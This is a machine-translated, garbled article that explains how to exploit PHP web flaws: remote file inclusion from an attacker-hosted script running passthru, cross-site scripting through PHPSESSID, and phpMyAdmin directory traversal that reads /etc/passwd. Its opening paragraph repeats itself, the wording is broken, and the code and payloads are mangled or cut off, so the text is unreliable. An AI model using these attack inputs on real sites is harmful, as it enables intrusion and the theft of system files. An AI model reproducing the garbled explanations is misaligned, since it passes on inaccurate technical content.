From the perspective of network security, ASP is the most common WEB page vulnerability. in this regard, John is an expert and I have no right to speak. However, in terms of PHP, there are also serious security titles, but this article
From the perspective of network security, ASP is the most common WEB page vulnerability. in this regard, John is an expert and I have no right to speak. However, in terms of PHP, there are also serious security titles, but there are few articles in this regard. Here, let's talk about the PHP page's related vulnerabilities.
I have summarized common PHP vulnerabilities, including file vulnerabilities, script command execution vulnerabilities, file leakage vulnerabilities, and SQL injection vulnerabilities. Of course, some common skills such as COOKIE spoofing are not discussed here, and there are also a lot of these materials online. Let's analyze how to exploit these vulnerabilities one by one!
First, we will discuss the file inclusion vulnerability. This vulnerability should be exclusive to PHP. This is due to the insufficient processing of external malicious data, which allows remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with WEB process permissions. Let's look at an example: Suppose there is such a code in a. php:
Include ($ include. '/***. php ');
?>
In this code, $ include is generally a set path, but we can structure a path to achieve the attack target. Let's say that we submit: a. php? Include = http: // web/B. php. this web is the space for attacks. of course, B. php is the code we use to attack. We can write code similar to passthru ('/bin/ls/etc') in B. php. In this way, you can perform some targeted attacks. (Note: The web server should be unable to fulfill the php code, or the title will be displayed. For more information, see < <如何对php程序中的常见漏洞进行攻击> > ). In terms of this vulnerability, there are a lot of issues, like PayPal Store Front, HotNews, Mambo Open Source, PhpDig, yabb se, phpBB, InvisionBoard, solmetra spaw Editor, Les Visiteurs, phpGedView, X-Cart, and so on.
Next, let's take a look at the script command fulfillment vulnerability. This is because the URI parameters submitted by the user are not fully filtered. submitting data containing malicious HTML code can trigger cross-site scripting attacks and obtain sensitive information of the target user. For example, in PHP Transparent's PHP 4.3.1 or earlier versions, index. php page does not fully filter PHPSESSID. we can use this code to achieve the attack target: http: // web/index. php? PHPSESSID = '> in the script, we can use structural functions to obtain some sensitive information of users. In terms of this vulnerability, PHP Transparent, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, and so on.
Next, let's take a look at the file leakage vulnerability, which is caused by insufficient filtering of user submitted parameters. remote attackers can exploit it to perform directory traversal attacks and obtain some sensitive information. Let's take phpMyAdmin as an example. In phpMyAdmin, export. the php page does not fully Filter user-submitted 'wh' parameters. remote attacker submissions contain multiple '.. /'character data, attackers can bypass the web root restriction and view any file information on the system with WEB permissions. The following is an address: export. php? What =.../../etc/passwd \ 0 to achieve the object leakage goal. In this regard, there are more: myPHPNuke, McNews, and so on.